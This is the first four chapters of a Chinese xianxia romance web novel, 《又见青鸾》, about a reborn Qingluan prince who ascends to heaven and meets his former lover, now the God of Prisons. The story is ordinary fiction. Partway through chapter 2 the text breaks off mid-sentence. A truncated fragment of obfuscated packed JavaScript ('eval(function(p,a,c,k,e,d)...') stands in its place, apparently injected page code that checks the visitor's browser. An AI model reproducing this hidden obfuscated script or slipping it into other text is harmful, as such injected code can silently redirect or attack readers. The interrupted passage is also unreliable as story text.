《又见青鸾》 1. 第 1 章 这世道惯是爱捉弄人,想活的活不长,想死的却死不了。风照卿重生后的第一反应便是如此。 雀仙族的人也不知道他是从哪儿冒出来的,但族内长老总说这孩子早慧,有天人之相,将来必有一番作为,于是全族上下奉他若天神。 前世的他也曾在雀仙族度过了很长一段无忧无虑的时光,只可惜自从回了天界摇身一变成为三皇子后,便再也不曾回到过这片土地。儿时的玩伴都死在了那场大战中,族里也已然翻新,和从前没有半点相似,但他关于此地记忆却并未消失,只可惜没有一个人记得他。 重生的这一世没人记得五百年前被屠族的青鸾神族有一位三皇子,他修为卓绝,年少有为,幼时与母妃相依为命生活在雀仙族,千岁时在天魔大战中立下赫赫战功,这才得以认祖归宗,回到天界,可他却依然不得父帝喜爱。 于父帝,他只是一柄屠魔利刃。 曾经的一切历历在目,鸟尽弓藏,所爱非人,实在太过残忍。 天界三皇子徒有虚名,生前从未得到过真正的尊重,死后亦然。 不过风照卿早已习惯了被人冷落忽视,对于前世的自己彻底消失在人们心中也不甚在意,他是死过一回的人了,早就没了求生的意志,他甚至不明白自己的重生究竟有什么意义,在很长一段时间里终日碌碌无为,得过且过。 直至某个热闹的节日,他偶然去游历了一趟凡间,在经过一处村庄时看到狱神庙外热闹无比,聚集了众多凡人,无论男女皆是面带红霞,含羞带怯。 狱神掌管世间律法,往往让人望而生畏避之不及,庙前如这般门庭若市极为罕见,风照卿不由得停住了脚步往里一看,霎时僵在原地。 只见庙内供奉的新神像若玉树琼枝,剑眉斜飞凤眸凌厉,鼻梁纤巧薄唇红润,真是美得令人窒息。而眼前这个身着素衫,一手拈青莲一手握案牍的俊美神官,不正是当初与自己花前月下八百年的天医元出尘吗? 他仰望着神像,心神恍惚。如今他不再是天界三皇子,元出尘也不再是天医。 为什么会变成这样? 疑惑在心头挥之不去。如今他再回想起当初自己被他以剑相抵,心灰意冷自刎于南天门的场景,还是忍不住浑身发颤。就算从前他对自己的感情全是伪装,可他对医道却是从始至终一腔热血,后来究竟发生了什么让他放弃成为药神? 一股强烈的冲动忽然席卷而来,他想知道后来究竟发生了什么,他想知道为什么所有人都不记得自己的存在,他最想知道,元出尘是不是也和其他人一样,将自己忘得一干二净。 身死可以复生,心死亦可。 一股无名之火在风照卿的心口燃烧窜动:我要见他,无论结果如何,代价如何,我也要见他。 他向来是一个执着坚定的人,一旦下了做了选择,便是不撞南墙誓不罢休。 那神像唤醒了风照卿沉睡的灵魂,他终于重拾过往,潜心修炼。又过了数百年,在一个风雨交加的夏夜,天降异象,仙考如约而至,风照卿也如愿以偿,飞升了。 —— 数百年沧海桑田,可风照卿再次踏上南天门依然心有余悸,仿佛自己绝望自刎就在昨日。 曾经被烧砸毁坏的金殿如今已重新修筑,更胜从前,可他经历过的苦痛却不会如那些金殿般轻易地推倒重来。 他闭上眼深吸一口气,努力平复自己起伏不定的心,半晌后才睁开眼,故作淡定地迈着从容的步子,再一次回到天界。 天劫降临,此番还有两位仙君与风照卿一同飞升,紧张地站在灵霄宝殿前不知所措。 作为仙族,本就有长生不老之身和灵力,参加仙考不过是上天谋个职务,不至于终日闲散。 所谓仙考,就如凡人参加科考一般,参加者需闯过刀山地火天雷三道天劫,最后顺利登上南天门者才有资格留在天界任职,仙考五百年降临一次,许多仙族在飞升前资质已然不俗,通常都能有三五位道友一同飞升。 四周渐渐聚起了人群,大家都好奇地围着他们三人小声议论,看他们的神情,果真也是不记得风照卿了。 一位身材矮小须发皆白的神官嘴里喊着“让一让”,从人群中挤出来,他将拂尘搭在左臂,单手提起诏书一侧,扫了一眼面前的三人,振声问道:“涂山姝宁可在?” 站在前面的一位婀娜女子款款走到神官面前,眉眼尽是风情,恭敬行礼道:“小仙在。” 吏神官拂尘一挥,撒出点点银屑落在涂山姝宁身上。他捋着长须,端着一副仙风道骨的姿态说道:“六品真仙,血统纯正的涂山白狐,那你便去天府宫月老座下理姻缘之事吧。” 涂山姝宁看起来十分满意自己分到的差事,连连拜谢接过天府宫令牌。 仙官划为七品,分别为上高太玄天真灵,吏神官会通过历劫时的表现为仙官们划分等级,分配合适的差事。 “繁祺玉。” 站在风照卿身侧的儒雅仙君闻言,步履从容地走上前去,他身材修长纤细,面容清秀,举手投足间有股慵雅之意。 他一走出来,四周便起了一阵小小的躁动: “快看,那是仙族首富,繁云仙城的少主!” “这么有钱还来参加仙考,看来是志向远大啊!” 神官干咳了一声,四周稍稍平静了些。他依旧是一挥拂尘,探过真身后为他安排合适的差事:“五品天仙,瓦猫族,去文财神座下吧。” 繁祺玉微微倾身,双手接过令牌,翩翩离去。 终于轮到了风照卿。 风照卿复活后便藏起了大部分灵力,让自己看上去稚嫩一些,现在的模样像人族束发之年的少年,身量不高,略显瘦弱,但模样十分俊俏,微翘的嘴唇让他看上去有些倔强。大家心底都好奇一个小少年居然也能通过仙考。 神官也略显惊讶,随口问道:“年岁几许?” “三百岁。”风照卿行礼,答道。其实上一世的他已经一千来岁了,但从复活后算起,他只有三百岁。 “三百岁?”神官挥拂尘的手顿了一下,四下也想起了叽叽喳喳的讨论声,皆是讶异于风照卿年纪轻轻便飞升上仙。神官轻咳一声,四下八卦的声音渐渐平息,他挥了一下拂尘,突然眼睛瞪得奇大,揉了揉眼睛不敢相信似的,又重新一挥,这才略有迟疑地说道:“雀……雀仙族?” 风照卿镇定地点点头,在心底长吁了一口气:方才为了快点飞升,直接用了青鸾真身,差点忘记换回雀仙的模样了。 神官将信将疑,以为刚刚是自己眼花才会看到的已经被灭族的青鸾。 “不过三百岁,居然已有三品太仙的修为,雀仙族如此低微竟也有你这般人才,”神官赞赏地点点头,正当风照卿期盼着他能给自己一个神将职务时,他居然说,“那就去鸿雁阁做差使吧。” 风照卿闻言一时错愕,身后八卦已久的仙君们听到这个结果也皆是脚下一滑,难以置信。 吏神官见状,正色道:“怎么?对这职务不满意?” “小仙不敢。”风照卿双手接过令牌,眼神从容淡定,恭敬又不失风骨。 吏神官不轻不重地扫了风照卿一眼,语重心长道:“你虽年轻有为天赋绝顶,可终归是个孩子,须得先打磨历炼一些时日,待心智成熟后再司正职,免得日后恃才傲物,于你仙途有害无益。” “多谢前辈费心。”风照卿自是有些失望,但吏神官所言也不无道理,毕竟在他们眼中风照卿就是个毛孩子,纵使飞升上仙,也暂时难堪大任。 他心下无奈:罢了,欲速则不达,找元出尘一事还需从长计议。 风照卿拜谢吏神官后,便攥着令牌向鸿雁阁走去。 他熟悉地穿过数百条大道,拜过数千位神仙,终于在一处宏伟壮观的宫门口停下脚步。 门口一位洒扫仙童见他面生,上前行礼问道:“敢问阁下是何方仙君?”小仙童脸蛋虽稚嫩,可语气却极老成。 风照卿递上令牌:“在下雀仙族风照卿,奉命担任鸿雁使。” 小仙童微笑道:“神君不必多礼,且随我来。” 虽名为鸿雁阁,可它却比普通宫殿还大上 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不多时,天边便飞来一道银光落在风照卿面前,银光散去,一位面若桃花,银丝如瀑的仙君手持一柄玉折扇,端着一脸神采奕奕的笑容向风照卿走来:“你就是新来的鸿雁使吗?久等了,阁内事务繁杂,稍稍耽搁了些。” “无妨,我也刚到。”风照卿见此人仪表堂堂,身着衣物更是犹如波光粼粼的海面般流光溢彩,心中猜想应是龙族中人。 “使长”打量了风照卿一番,折扇轻摇,微笑点头道:“嗯,剑眉星目,明朗俊俏,真真是神人之姿,再过些年长开了,怕是要迷倒不少仙子。” 风照卿脸颊微红,正色道:“使长说笑了。” “使长”爽朗笑道:“我逗你玩呢,你叫什么名字?” “小仙风照卿。” “好名字,在下敖丰元,也是刚来鸿雁阁不久。使长没空,让我自己来接室友。”敖丰元饶有兴致地说道。 风照卿一微微愣:姓敖应是北海白龙族,怎么也沦落到做鸿雁使这种差事了。不过本着少说多做的想法,风照卿没有问出口。 鸿雁阁虽宫宇众多,但排列整齐且以五行天干地支标作序号,要找起来倒不算难,他们的寝宫叫水木丁亥殿,位于整座宫殿的西北角。 风照卿一推开门,瞬间被屋内极尽奢华的景象镇住:窗纱帘幔随风舞动间若流水潺潺,床榻被褥皆以绵云织就,隐约还有星屑闪动,各处柜子都摆满了水族奇珍,烛台都换作夜明珠,每一颗都要比风照卿的拳头还大,屏风木雕皆是龙纹,金丝银线竟是这屋内最低等的饰物,唯一不足的,便是空气中弥漫着一股淡淡的海腥味。 敖丰元不好意思地展开玉折扇,微微遮住脸道:“我认床,若是不把家里的东西带上来一些,夜里会睡不安稳。” 风照卿一时不知该说些什么:当初他作为徒有虚名的天界三皇子,都从未见过如此多的奇珍异宝,想来这个敖丰元身份不俗。 “今后我们便是室友了。”敖丰元爽朗笑道,露出一排闪亮的牙齿,风照卿勉强地扯了个笑容作为回应。 忽闻一声清脆铃响,敖丰元拿起银铃看了一眼,微一挑眉,自言自语道:“这么快就抓到了?”转身对风照卿说道:“走吧,新官上任,我且带你去见见世面。” 说罢,敖丰元便带着风照卿化作两道光向着主殿飞去。 停在千层塔外,敖丰元伸出手掌贴在塔壁上,塔壁瞬间迸出金光,化出一个圆洞,待风照卿与敖丰元进入后又立即复原。此乃鸿雁阁八十一楼,不同于其他楼阁内通透明亮,金光遍地,满是书架卷轴,八十一层阴森可怖,四周密不透风,漆黑一片,只有敖丰元手中的夜明珠闪着盈盈幽光。 面前的仙君被一左一右两位天兵以剑相逼,跪在地上,显得狼狈不堪。 “陶岚上仙,与凡人私通,现已缉拿归案。”两位天兵齐声说道。 敖丰元微笑着对两位天兵点头说道:“辛苦二位了,不过还得劳烦二位同我们一起将他押去天狱才好。” 风照卿听见“天狱”二字,心猛地一颤,黑曜石般的眼睛擦出了一点星火:这么快就要再见了吗?元出尘。 2. 第 2 章 风照卿走在敖丰元身旁,神色肃然,搭着一张稚气未脱的脸实属违和。 一想到要再次见到那个人,风照卿的心便难以自控地乱跳,他想转移自己的注意力,随口问道:“丰元兄,鸿雁阁负责分发供品,为何会与捉拿要犯有关?” 敖丰元折扇轻摇道:“因为陶岚与下界的那几位凡人女子便是通过供品相互往来。供品是凡界与天界沟通的唯一桥梁,那些女子将写好的信藏在供饼里,拜给飞泽殿,再由鸿雁使送去,简直天衣无缝,若非那日我失手打翻了供盒,饼碎成了渣,这事恐怕都不会败露。” 风照卿微一挑眉,看着陶岚狼狈的背影简评道:“也是个聪明人。” “确实,若是不优秀也进不了飞泽殿,那里对于你们羽族来说可是很好的归宿,只可惜他没用在正道上。此事是鸿雁阁失察,被要求协助捉拿陶岚,咱们的使长就是被抓去受罚了,得在天狱待三个月。”敖丰元悻悻道。 风照卿闻言,心道:飞泽殿也不过是为各个宫殿整理运送凡界祈愿,居然也能算“很好的归宿”?看来元佑启后来没少打压羽族势力。 见风照卿半天没回话,敖丰元以为他被吓到了,便拍了拍他肩膀,宽慰道:“没事的,等会儿你就站我身边,什么话也不用说。”为了让风照卿放松,还贴心地为他介绍着途径的每一处宫殿叫什么名字,住着什么神仙,掌管什么职务。 “此处是药神洛胤的西昀神宫,他是狱神大人的师父,先天帝的挚友,为人和善,只医不杀,是位极受崇敬的神官。”敖丰元指着一处幽僻的宫殿说道。 风照卿抬眼看向这座朴素的宫殿,内心有些复杂,忽听前面两声痛呼,便见两位天兵被陶岚振飞,在墙上砸出两个大窟窿,狠狠摔落在地。 陶岚转身面对风照卿与敖丰元,二人警惕地齐退半步,便见陶岚抽出天兵佩剑刺向敖丰元,他身形敏捷飞身躲过两招,展开玉折扇擦过陶岚的右脸,留下三道血痕,又对他的胸口痛击一掌,陶岚霎时飞出数丈远。 踉跄稳住脚步后,陶岚瞥见离自己不过几步之远的风照卿,心生一计,妄图以他为质,于是闪身至风照卿身后,谁知这看似瘦弱的孩子竟刹那间在他眼前消失,随之不见的还有他手中的剑。 陶岚怔在原地,忽觉身后升起一阵寒意,还未转头便被长剑抵在喉间,风照卿冷如寒冰的声音在后方响起:“待罪之人还敢重伤仙友?” 远处的丰元瞠目结舌,饶是他千岁修为方才也没能看清风照卿是如何躲开陶岚并劫走他手中的剑。 风照卿押着陶岚走到丰元身边,淡淡道:“走吧,别误了时辰。” 敖丰元回过神,由衷夸赞道:“想不到你如此年轻,功法却十分了得。” 风照卿正要谦虚回话,忽见一支银针自陶岚袖中飞出,直直扎向敖丰元,他顾不得多想,眼疾手快抓住了银针,一阵轻微的刺痛从手心传来,风照卿立刻发觉周身的灵力运转不畅。 陶岚见此机会,毫不犹豫提脚踹飞风照卿,转身要逃。 风照卿重重砸在墙上,一时站不起来,忽闻耳边一阵风啸破空之声,再抬眼时便见陶岚飞针的那只手被一柄匕首穿透,钉在墙上,任他如何挣扎也无法将匕首拔出。 一位身着绛色衣袍的狱官负手而立,模样看着亲切可爱,语气却不善道:“别做无谓的挣扎了,此匕首乃狱神所制,凭你是拔不出来的。” 不过片刻间,匕首上隐隐发出“吱吱”的声音,陶岚的手心竟渐渐被腐蚀成一个大洞,痛得他直哭喊道:“狱神大人饶命,狱神大人饶命!” 忽闻一个清润却透着阴鸷的声音自西方传来,虽不见人,可威慑力却丝毫不减。 “本君原已大发慈悲,放你生路,奈何你贪得无厌,享了仙凡风月之乐,却不愿受剔骨落凡之苦,如今又对仙友大打出手,数罪并罚,你可知罪?” “小仙知罪,小仙知罪,求狱神大人放我一条生路吧!”陶岚上仙不停地对着墙磕头。 敖丰元奔过去将风照卿扶起,见他脸色惨白,担忧道:“伤得可重?” 风照卿摇头不言:这点皮肉伤算不得什么,真正让他失神的是那久违的声音。 “既知无法与本君抗衡,又何必费力逃跑?心存侥幸者,本君不留。”言毕,未待陶岚上仙开口求饶,狱官呼出一口仙气,化作捆仙锁将陶岚上上下下裹得严严实实,如同一颗蚕蛹。 那阴鸷的声音在再次响起:“飞泽殿陶岚上仙,与凡人私通,依天条处剔骨之刑;不思悔改重伤仙友,依天规责天雷二十,即刻行刑。” 话音刚落,方才晴空万里的九重天竟在顷刻间风云骤变,只见天空中黑云翻涌电闪雷鸣,耳边甚至还传来了海浪呼啸声,就连四周华美的宫殿也在眨眼之间消失无踪,取而代之的是一片荒凉凄清的悬崖峭壁,但空气中却有一股淡淡莲香。 陶岚不知何时被解了捆仙锁,关进天刑台,天刑台四周包围了一圈地火帘,将他与外界隔绝,只能绝望地哭喊着。 元出尘作为狱神正坐在天刑台正对的高座上,而风照卿被敖丰元拉着,恭敬地作揖立在一边,余光只能瞥见一抹精致的玄青衣角。 那抹玄青衣角飘下高台,掠过风照卿眼前,他微微抬头,看向那个身长如玉的背影,乌黑的长发以红绳简单束起,其上唯有一只迷穀树枝制成的青鸾发簪。 风照卿心中一颤,作揖的手不自觉地捏紧了。 “布阵,引天雷。”清润的声音冷冷响起,陶岚闻言差点一翻白眼晕过去。 “是!”狱官高声应道,施法将陶岚捆在天雷柱上。 但见狱神祭出法器万钧剑,露出一截白皙胜雪的手腕,向天一指,一道惊雷破天而出,发出震天撼地的动静,将幽暗的天狱照得犹如白昼。 不过一刻钟的时间,二十天雷刑就结束了,陶岚浑身焦黑,冒着烟,趴在天刑台上像死了一样,一动不动。 “拖入天牢,十日后剔仙骨。”元出尘从容地发号施令,悠悠走回那个属于他的高座。 元出尘一如五百年前那般清俊,那张美得雌雄莫辨的脸上带着不食人间烟火的孤傲之色,寒潭般的凤眸直直盯着风照卿,不带一丝情感,冷漠地像个没有灵魂的行尸走肉,狠狠地刺伤了风照卿的心。 “座下何人?”元出尘轻轻开口问道。 风照卿捏紧拳头,心底掀起了不知是苦楚还是愤恨的波涛:你竟真把我忘了!旁人无论是谁都可以,但你怎么敢?! 元出尘见风照卿恍若未闻,直愣愣地瞪着自己,微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见风照卿撅着嘴不情不愿的样子,元出尘也不强留,淡淡道:“若无他事,便退下吧。朱雀,领他们出去。” 方才那位绛色衣袍的朱雀狱官风兮仪领着二人离开天狱宫,略微欠身道:“抱歉,方才去迟,叫二位受惊了。” “不打紧,劳烦朱雀狱官了,”敖丰元微笑道,“不知狱神大人今日是遇到什么高兴事儿?” 风兮仪知道敖丰元指的是方才送药一事,轻叹道:“说来惭愧,下官虽在狱神手下当差三百年,可依然难以猜透他的心思。大人在天狱宫内数百年如一日,开心是如此,生气亦是如此。” 数百年如一日不能离开那个见不得光的地方吗?风照卿回想起上一世自己被父帝囚禁寝宫,终日只能与明月相伴的日子,又是一阵五味杂陈。 他上天半日,心中跌宕起伏了半日。 “朱雀狱官不必自责,狱神大人向来是阴晴不定难以捉摸,我不过随口问问。有您这样尽心尽力的属下,狱神大人心情好也是自然的。”敖丰元调皮一笑。 风兮仪不好意思红了耳朵:“您说笑了。” “好了,就送到这儿吧,我们自己回去。”敖丰元向他挥挥手,便带着风照卿往鸿雁阁走去。 3. 第 3 章 出了天狱,风照卿满脑子都在想元出尘头上的簪子,心中忍不住纠结:若上一世元出尘说的话做的事都是谎言,那为何还戴着我送他的发簪,为何还送我丹药?他如今将我忘得一干二净,我又该怎么去问他,就算问了,他什么不记得根本给不了答案,只会显得我很可笑……说不准他还会以青鸾余孽的罪名把我抓起来…… 敖丰元看盯着风照卿蹙眉深思的模样,摸着下巴上下打量:此少年除了长得比较俊俏,修为比较突出以外似乎也没什么过人之处。他羡慕道:“你今日可真是时运亨通。” “敖兄何出此言?”风照卿收起眼底的情绪,问道。 “你刚刚飞升,有所不知,这位狱神曾是药神的弟子,医术方面放眼三界仅次于他的师父,他炼制的丹药千金难买。就说你中的断灵散吧,若是去天医馆,少不得折腾个十天半个月才可痊愈,可狱神给的药,三天管好!” 听丰元夸得天花乱坠,风照卿无奈一笑,客气道:“原来如此,看来我今日确实时运亨通。” “唉,你说他一个风华绝代的美男子究竟是为何会想不开去做狱神呢?我听闻他曾经是一心想继承洛胤上神衣钵的,当初在天医馆当差时有不少仙人装病只为见他一面。” 风照卿闻言身子一僵,干笑道:“敖兄都不知道,我一个三百岁的小雀仙更不知了。” 敖丰元扭头看了看四周的环境,确认安全后,悄声说道:“我就知道你年纪轻轻肯定没听过这段风月传闻。” 风照卿这下直接僵在原地不动,心虚道:“什,什么风,风月传闻?” 敖丰元方才抛出问题就是想引起风照卿的兴趣,好给他讲故事,见鱼儿上钩,他便娓娓道来:“这是天界公开的秘密了。传了五百年,传出了两个版本,这第一个版本嘛,说的是五百年前狱神爱上了当今天帝……” “什么?!”风照卿一时没控制住,震惊道。当今天帝是东海龙女烛夙忆,风照卿在当初的天魔大战中曾与她并肩作战,在他的印象中她与元出尘之间并无情意,难不成在他死后这二人有过情缘? “你这死孩子!喊这么大声做什么?让别人听到了告到狱神大人或天帝陛下那里,咱俩吃不了兜着走,”敖丰元急急捂住风照卿的嘴,“不许再大喊咯!” 见风照卿眨巴眨巴眼睛表示明白,敖丰元这才放开他。 “五百年前天帝陛下还只是上仙,虽未飞升成神,可修为灵力早已无人匹敌,只差一道天劫。天帝陛下的飞升天劫是道情劫,可偏偏迟迟等不到所爱之人出现,于是狱神大人挺身而出,为了天帝陛下能早日飞升甘愿受轮回之苦,与天帝陛下双双入凡间轮回三生三世,其中爱恨纠葛,外人不得而知,只知道三世轮回后,天帝陛下顺利飞升,而狱神大人则带着一身的伤默默去了天狱宫,接任狱神,从此天各一方。” 风照卿不禁汗颜,这故事编得比凡间戏本子还精彩,却错漏百出,若情劫是随便来一个人与自己轮回几世即可安然度过,这世间便不会有那么多仙君因此湮灭了。但他还是不忍心扫敖丰元的兴,装出兴致勃勃的样子问道:“那另一版本呢?” “另一版本啊,”敖丰元把声音压得更低了些,说道,“说狱神大人为了替义父报仇雪恨,利用了一位神君的感情,那位神君曾经救过狱神大人一命,直至死前都无法相信他居然会杀自己,死后亦是怨念缠身,难以往生……狱神大人报答了义父的养育之恩,却对那位神君恩将仇报,为此心中备受煎熬,于是主动接任狱神之位,为偿还自己的罪孽画地为牢,再也不曾踏出天狱宫半步。” 风照卿捏紧了拳头,胸口像是堵了一口气一样憋闷,冷笑道:“装模作样,那位神君已经死了,他画地为牢又有何用。” 敖丰元不置可否,虽然他也觉得这个故事中,狱神大人的做法不妥,可他是为了龙族复兴才这么做的,敖丰元作为龙族自然也不好说些什么。 “其实,关于狱神接任还有第三个故事,只是这第三个故事……有待考究。”敖丰元斟酌着。 “哦?怎么说?”风照卿饶有兴趣问道。 “因为这三界内根本就找不到与这个版本相符的主角呀!”敖丰元一拍折扇,活像个说书先生。 闻言,风照卿的笑凝在了嘴边,声音微颤道:“敖兄,请继续。” “这个版本说的是狱神还是天医时,爱上了一位身份尊贵的神君。这位神君本是犯了错,被禁足于寝宫不得出,禁着禁着便禁出了心病,洛胤上神便叫自己的爱徒元出尘——也就是如今的狱神大人,前去医治。心病难医,可那时的狱神年轻气盛,与师父一同行医千年,从未有他看不好的病,于是对这位神君亦是不医好不罢休。狱神为解神君心中所困,上天入地寻找奇珍异玩,挖空心思只为博神君一笑,甚至还带着神君私自下界游玩享乐。二人日日相伴,渐渐地生出了情愫,可……” “可那位尊贵的神君出身青鸾神族。”风照卿接上敖丰元欲言又止的话茬,声音冷得如雪一般。 “猜对啦!”敖丰元兴致盎然,没心没肺地欢喜道,压根儿没注意到风照卿的异样,继续讲道,“可惜那位神君出身青鸾神族。本来在狱神的努力下,神君心病已愈,二人情投意合,打算结为仙侣,岂料天不遂人愿……神君死后,狱神萎靡颓丧,日渐消沉,眼见便要随神君而去,先天帝作为狱神的养父,不忍见他如此,于是安排他下界历三世情劫,希望他能放下这段孽缘。历劫归来后,狱神性情大变,曾经看着百花凋零都会心痛不已的至善至纯天医从此再无迹可循,取而代之的是冷酷无情的狱神,被他写进刑簿的神仙们,轻则修为折半,重则形神俱灭。人人敬他,畏他,又想念曾经的他。” “哼,荒谬。”风照卿嗤之以鼻,双唇紧抿脸色铁青:萎靡颓丧,日渐消沉,随我而去?可笑!如元出尘那般谎言连篇、道貌岸然之人这辈子也不可能如此!恐怕是如第一个故事那般,转头便投入了龙女怀抱吧? “确实荒谬,这版本根本就是空穴来风,青鸾神族中根本没有犯错被禁足于寝宫的神君,也不知是哪位仙友胡编乱造的。”敖丰元点头赞同道。 “……” 风照卿忽然自嘲一笑:手上沾满鲜血的元出尘都能被世人怀念,而曾经为抵御魔族负伤累累的自己如今却无人问津,他的上一世果真就是个笑话。风照卿只是一柄杀敌的利刃,兔死狗烹鸟尽弓藏便是他的命运。 敖丰元向来心大,以为风照卿只是单纯开心而笑,这会儿又开始讲别的事情了,笑嘻嘻问道:“照卿,你可知凡人给狱神塑的神像是什么样的?” 风照卿自然知道,他当初奋起修炼,便是因为看到了凡人供奉元出尘的神像。 “如他真神一般。” 敖丰元却摇头道:“非也非也 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“不过,偷盗仙衣虽是重罪,但对凡人用此极刑,是否过当?”风照卿问道。天神不可随意处罚凡人,就算是仙族盗窃,一般也只是关押些时日,并不会受太多皮肉之苦。 “是啊,当初这件事在天界闹得沸沸扬扬,还是先天帝出面压了下来。”敖丰元说道。 先天帝出面。风照卿冷哼一声:果然他还是在与龙族苟且,肆意践踏旁人。 敖丰元一直没太注意风照卿的态度变化,只将他当作一个爱听故事的小孩,自顾自说着:“不过,虽说众仙家对此事的处理颇有微词,但未有天谴降罪到狱神头上,也不好多加指责,时间一长此事也就翻篇了。” 且狱神一职极为特殊,掌管天界一切刑律:天狱之内,刑律之上,无人可与狱神抗衡。简而言之就是,只要进了天狱,他说东,你便不能往西。狱神之力乃是天赐,由历代狱神相传,此神力霸道无敌,为防止狱神徇私枉法,非天狱之内不可用,非有罪之人不可伤,否则必遭天谴。 “哦?”风照卿随口应道。 “那会儿我还不在天宫任职,各种缘由并不清楚。”敖丰元耸耸肩,为自己少听了一些八卦而伤感。 “还有什么关于狱神的故事吗?”风照卿忍不住想多了解一些,他不在的这些年里,元出尘究竟过得如何。 敖丰元想了想,掰着手指说道:“狱神为报答先天帝养育之恩献出了半个真身,朱雀狱官是狱神在凡界救下的一只小麻雀;狱神是路痴……” 风照卿听着敖丰元滔滔不绝地说着他上一世就知道事情,忽然感慨元出尘这五百年还真是过得很没意思,没点新鲜事儿,但内心深处又忍不住为此雀跃。 二人一路谈笑着回了水木丁亥宫,虽说刚见面不过一个时辰,但关系已然十分融洽。 “……差不多就这些了吧,还想听别的神官故事吗?我外号天界百晓生,什么奇闻八卦都知道!”敖丰元笑眯眯地说道,折扇摇得飞起。好久没人愿意听他讲故事了,他对这位善于倾听的新室友十分满意。 “今日就先这样吧,改日再听听别的,多谢敖兄了。”风照卿为敖丰元斟了杯茶,他说了一路定是渴的不行。 敖丰元拿起茶杯一饮而尽,诚恳道:“你我说什么谢,你才刚上天界就为我负了伤,我可欠你个大人情呢,日后叫我丰元就好,有什么需要帮忙的,尽管找我。” 风照卿和煦一笑,说道:“那,有劳丰元。” 4. 第 4 章 上天已有月余,鸿雁使的日常枯燥无味且应接不暇,风照卿整日奔波于三界之间,这些天的心情已经从初登南天门的愤慨转向平静。 说好的见元出尘一面,如今已经见到了,可一想到他真的和其他人一样把自己忘得一干二净,一股无名之火便腾然在风照卿心底燃起:元出尘,当初你提刀抵在我喉间的时候,可曾想过有一天我还会回来?这笔糊涂账必须得好好清算一番才行。 他正想得咬牙切齿,面前的柜子忽然砸下来一堆瓜果糕饼——凡人又送供品上来了。 好吧,不管以后该如何清算,眼下他还得做个称职的鸿雁使。 “今年南海附近是不是不太平?”风照卿皱着眉头,提着一盒鲜艳喜庆的供盒问道。 “何出此言?”丰元不解道。 风照卿指着身后满满当当的瓜果糕饼说道:“今日整层楼都被南海附近飞来的供品堆满了,比从前多了许多倍。若非出了什么怪事,怎会如此频繁祭祀祷告?” 丰元摇着扇子若有所思:“四海地界皆由龙王庇护,应是出不了什么大问题的,许是南海近来还愿者多,所以供品才多了些。” 风照卿没空细想,在他们说话的间隙,又飞上来许多供品需要送出了。 这个时辰是凡界的乞巧节,因而送往香火琳宫和织女宫的供品额外多。 风照卿刚踏入香火琳宫,便看见一抹倩丽的身影踩着祥云飘飘落在自己面前,主动打招呼道:“姝宁姐姐。” 涂山姝宁风尘仆仆,大约是刚从凡界散缘回来,但手里还剩了不少桃花符,往日风照卿见她都是空手而归的。 她见到风照卿,笑意盈盈道:“小照卿又来啦?近来又长高了呢,越发俊朗了。” 风照卿羞涩一笑,将供品交给小仙童。 涂山姝宁看了一眼满满当当的供品说道:“今日南海真是喜气冲天,供品尤其多呢,辛苦照卿了。” “分内之事,何来辛苦,”风照卿倒是从不抱怨,端着温和的笑容应道,又见四下并无他人,悄悄凑近了涂山姝宁,悄声问道,“姝宁姐姐,我听闻涂山白狐能占卜姻缘牵线做媒,不知是真是假?” 涂山姝宁杏眼流转,看着面前这个俊俏的小少年,眼里盛满了暧昧的笑意,说道:“真的呀!小照卿有心爱之人吗?” “没有没有!”风照卿满脸通红,连忙摇手解释道,“是,是我的一个朋友……羽族的朋友!” “哦~”涂山姝宁笑意盈盈,道,“那,小照卿想帮你的朋友问些什么?” 风照卿青涩的脸庞带着红晕,更像个情窦初开的少年,支支吾吾道:“是这样……我的朋友他,他转世投胎了,但还记得上一世的事情,他从前的爱人并未入轮回,不知为何却忘记他们之间发生的一切。” 涂山姝宁两道柳叶眉微微皱起,不解道:“转世的人还记得,没转世的却忘了?怎么会这样?” “是啊,很不寻常,所以特来问问姝宁姐姐,有什么办法能帮帮我的朋友,他希望他的爱人能想起从前的事。”风照卿诚恳道。 涂山姝宁调皮地眨了眨眼,道:“哎呀,虽说我们涂山狐擅长为人占卜姻缘牵线做媒,可若没有二人的生辰八字,我恐怕也很难为你解惑呢。” 生辰八字……元出尘如今也算是个有头有脸的人物,万一被涂山姝宁发现我要算的人是他可就不好了。 见风照卿眉头皱成一团,无意识地皱眉撅嘴面露难色,涂山姝宁忍不住笑道:“好啦,不逗你了。如果你想让他想起自己,或许可以尝试着安排一些旧地重游,若是你们二人心意相通,那么就算具象的记忆被抹去了,相爱过的感觉也不会忘了的。” 风照卿闻言,若有所思:心意相通?恐怕当初只是自己一厢情愿…… 涂山姝宁塞了张桃花符到风照卿手里:“今日桃花符剩了许多,这张就送给照卿吧,希望你的爱人能早日想起你!” 风照卿霎时又红了脸,慌慌张张地要还给涂山姝宁:“使不得使不得!那,那是我的朋友!我一介仙官求姻缘像什么话,还请姐姐莫要拿我逗趣了。” 涂山姝宁见他害羞忙慌的模样笑得更欢了,一溜烟儿跑开了,边跑还边喊道:“涂山白狐画的桃花符最有奇效,事成后小照卿可别忘了我呀!” 风照卿红着脸站在原地,追也不是,扔也不是,纠结片刻,只好趁着四下无人将桃花符收进袖中。 刚踏云离开香火琳宫,风照卿便见到当初那位给他分派差事的吏神官,肃然道:“拜见吏神官。” “是风照卿啊,这段时日长高不少呢。”吏神官捋着长须说道。 听到他能叫出自己的名字,风照卿无不欣喜,“吏神官日理万机,竟还记得照卿。” 吏神官微笑道:“三百岁飞升上仙的仙族数万年来屈指可数,怎么可能不记得呢。近来在鸿雁阁可还适应?” 风照卿点点头,“自是适应的。” “那你可知五日后是什么日子?”吏神官问道。 五日后?风照卿自入了九重天便在鸿雁阁忙得不可开交,哪里知道其他事情,遂摇摇头。 “五日后有一场瑶池论剑,你若能在其中拔得头筹,想去何处当差,任君挑选。不过,依本君之见,你既出身羽族,年纪尚轻,不妨考虑考虑飞泽殿,虽说那里的海东青总是拉帮结派欺凌外族,但为仙途着想,这些苦忍忍便是了。” 风照卿早就考虑清楚自己要去何处了,还是感激道:“多谢吏神官提点。” 吏神官朗声笑道:“快快回去练剑吧,真到场上可没人会因为你年纪小而手下留情。” 